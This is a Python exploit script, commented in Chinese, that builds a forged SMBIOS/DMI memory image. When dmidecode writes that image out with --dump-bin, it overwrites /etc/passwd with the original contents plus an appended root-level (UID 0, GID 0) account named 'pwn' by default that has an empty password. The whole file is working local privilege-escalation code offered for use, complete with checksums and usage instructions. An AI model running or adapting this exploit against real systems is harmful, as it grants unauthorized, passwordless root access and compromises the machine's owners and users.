#!/usr/bin/env python3
"""mkpasswd.py — 构造伪造 SMBIOS 内存镜像，配合 dmidecode --dump-bin 覆写 /etc/passwd
原理：
  dmidecode --no-sysfs -d <FILE> --dump-bin <TARGET> 会将 DMI 表与 SMBIOS 入口点以二进制写入目标文件：
    [DMI 结构表体 (包含自定义 string)][SMBIOS 入口点 (31 字节)]
  由于 /etc/passwd 容忍非结构化首行垃圾，我们在自定义 DMI Structure (Type 126) 的 String Area
  中填充原始 passwd 内容 + 追加的 UID 0 空密码用户，从而实现无损提权。

用法:
    python3 mkpasswd.py <原始 passwd 文件路径> <输出内存镜像路径> [新用户名，默认 pwn]

示例:
    python3 mkpasswd.py /etc/passwd fakemem_pw.bin pwn
"""

import sys


def build_fake_smbios(orig_passwd_path: str, output_path: str, username: str = "pwn") -> None:
    with open(orig_passwd_path, "rb") as f:
        orig_data = f.read()

    if not orig_data.endswith(b"\n"):
        orig_data += b"\n"

    # 前导换行隔离首行二进制垃圾，末尾追加 UID 0 空密码用户
    payload = b"\n" + orig_data + f"{username}::0:0:{username}:/root:/bin/bash\n".encode("utf-8")

    # 构造 DMI 结构表：Type 126 自定义结构包含 payload，Type 127 终止结构
    table = bytes([126, 4, 0x00, 0x00]) + payload + b"\x00\x00"
    table += bytes([127, 4, 0xFE, 0xFF]) + b"\x00\x00"
    tbl_len = len(table)

    if tbl_len > 65535:
        raise ValueError(f"DMI 表过大 ({tbl_len} 字节)，超过 64KB 限制")

    # 构造 31 字节 32 位 SMBIOS 入口点
    ep = bytearray(31)
    ep[0:4] = b"_SM_"
    ep[5] = 31      # Entry Point 长度
    ep[6] = 2       # Major Version
    ep[7] = 5       # Minor Version
    ep[8] = 0x24    # Max Structure Size
    ep[9] = 0x00    # Entry Point Revision
    ep[0x0A] = 0    # Formatted Area
    ep[0x10:0x15] = b"_DMI_"
    
    TBL_ADDR = 0x0FE000
    ep[0x16] = tbl_len & 0xFF
    ep[0x17] = (tbl_len >> 8) & 0xFF
    for i in range(4):
        ep[0x18 + i] = (TBL_ADDR >> (8 * i)) & 0xFF
    ep[0x1C] = 2    # 结构数量 (Type 126 + Type 127)
    ep[0x1D] = 0
    ep[0x1E] = 0x25 # BCD 修订版 2.5

    # 校验和计算
    ep[0x15] = (-sum(ep[0x10:0x1F])) & 0xFF  # Intermediate Checksum
    ep[0x04] = (-sum(ep[0x00:0x1F])) & 0xFF  # Anchor String Checksum

    # 构建 1 MiB 内存镜像
    img = bytearray(0x100000)
    img[TBL_ADDR : TBL_ADDR + tbl_len] = table
    img[0xF0000 : 0xF0000 + 31] = ep

    with open(output_path, "wb") as f:
        f.write(img)

    print(f"[+] 成功生成伪造内存镜像: {output_path}")
    print(f"    - DMI 表长度: {tbl_len} 字节 (包含 Payload: {len(payload)} 字节)")
    print(f"    - 新增特权用户: {username} (UID=0, GID=0, 无密码)")


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <原始 passwd 路径> <输出镜像路径> [新用户名]")
        sys.exit(1)
    uname = sys.argv[3] if len(sys.argv) > 3 else "pwn"
    build_fake_smbios(sys.argv[1], sys.argv[2], uname)
